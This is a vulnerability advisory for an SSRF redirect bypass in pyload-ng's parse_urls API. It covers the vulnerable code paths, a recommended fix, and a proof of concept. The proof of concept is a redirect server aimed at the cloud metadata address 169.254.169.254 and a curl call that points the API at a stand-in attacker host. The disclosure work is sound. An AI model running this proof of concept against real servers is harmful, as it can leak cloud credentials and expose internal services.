CVE-2026-46561: pyload-ng: SSRF via HTTP Redirect Bypass in parse_urls API
Summary The SSRF mitigation added in commit 33c55da for GHSA-7gvf-3w72-p2pg is incomplete. The PREREQFUNCTION-based private IP check was correctly applied to HTTPChunk (download path) but not to HTTPRequest (used by the parseurls API).
Published May 21, 2026 · Updated Jun 9, 2026
Affected packages
pyload-ng
- Ecosystem
- PyPI
- Affected
- < 0.5.0b3.dev100
- Fixed in
- 0.5.0b3.dev100
- Check
pip show pyload-ng
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The SSRF mitigation added in commit 33c55da for GHSA-7gvf-3w72-p2pg is incomplete. The PREREQFUNCTION-based private IP check was correctly applied to HTTPChunk (download path) but not to HTTPRequest (used by the parse_urls API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the is_global_host() check on the initial URL.
Details
The parse_urls API method validates the initial URL hostname:
# src/pyload/core/api/__init__.py:600-604
if url:
urlp = urlparse(url)
hostname = urlp.hostname
if urlp.scheme in ("http", "https") and hostname and is_global_host(hostname):
page = get_url(url)get_url() is imported from request_factory.py and creates an HTTPRequest with default settings:
# src/pyload/core/network/request_factory.py:58-64
def get_url(self, *args, **kwargs):
with HTTPRequest(None, self.get_options()) as h:
rep = h.load(*args, **kwargs)
return repHTTPRequest.__init__ sets allow_private_ip = True by default:
# src/pyload/core/network/http/http_request.py:75
self.allow_private_ip = TrueThe init_handle() method enables redirect following:
# src/pyload/core/network/http/http_request.py:117-118
self.c.setopt(pycurl.FOLLOWLOCATION, 1)
self.c.setopt(pycurl.MAXREDIRS, 10)The _pre_request_callback that should block redirects to private IPs is a no-op when allow_private_ip is True:
# src/pyload/core/network/http/http_request.py:574-582
def _pre_request_callback(self, conn_primary_ip, conn_local_ip, conn_primary_port, conn_local_port):
if not self.allow_private_ip and not is_global_address(conn_primary_ip):
return pycurl.PREREQFUNC_ABORT
return pycurl.PREREQFUNC_OKThe fix at commit 33c55da correctly set allow_private_ip = False in HTTPChunk (http_chunk.py:136) for the download path, but HTTPRequest used by RequestFactory.get_url() retains the default of True, leaving the parse_urls API unprotected against redirect-based SSRF.
PoC
# Step 1: Start a redirect server on attacker-controlled host
python3 -c "
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
self.end_headers()
HTTPServer(('0.0.0.0', 8888), H).serve_forever()
"
# Step 2: Authenticated user with ADD permission calls parse_urls
curl -X POST 'http://pyload-host:8000/api/parse_urls' \
-H 'Cookie: session=<valid_session>' \
-d 'url=http://attacker.com:8888/redirect'
# Expected flow:
# 1. is_global_host('attacker.com') -> True (passes validation)
# 2. get_url() creates HTTPRequest with allow_private_ip=True
# 3. pycurl fetches attacker.com:8888, receives 302 -> http://169.254.169.254/latest/meta-data/
# 4. _pre_request_callback runs but skips check (allow_private_ip=True)
# 5. pycurl follows redirect to cloud metadata endpoint
# 6. Response body parsed by RE_URLMATCH, any URLs in metadata returned to attackerImpact
An authenticated attacker with ADD permission can perform SSRF against:
- Cloud metadata endpoints (AWS IMDSv1 at
169.254.169.254, GCP, Azure) — potentially leaking IAM credentials, instance metadata, and secrets - Internal services on private networks (e.g.,
10.x.x.x,172.16.x.x,192.168.x.x) - Localhost services (
127.0.0.1) running on the pyload server
Data exfiltration is partially limited by the RE_URLMATCH regex filter (only URL-like strings from the response body are returned), but cloud metadata responses often contain URLs or URL-like paths that match this pattern. The REDIR_PROTOCOLS setting limits redirects to HTTP/HTTPS only.
Recommended Fix
Set allow_private_ip = False in RequestFactory.get_url():
# src/pyload/core/network/request_factory.py
def get_url(self, *args, **kwargs):
with HTTPRequest(None, self.get_options()) as h:
h.allow_private_ip = False # Prevent SSRF via redirects
rep = h.load(*args, **kwargs)
return repAlternatively, change the default in HTTPRequest.__init__ to False:
# src/pyload/core/network/http/http_request.py:75
self.allow_private_ip = FalseThe second approach is more defensive (secure by default), but may require auditing other callers that legitimately need to access private IPs. The first approach is the targeted fix.
Credited to offset.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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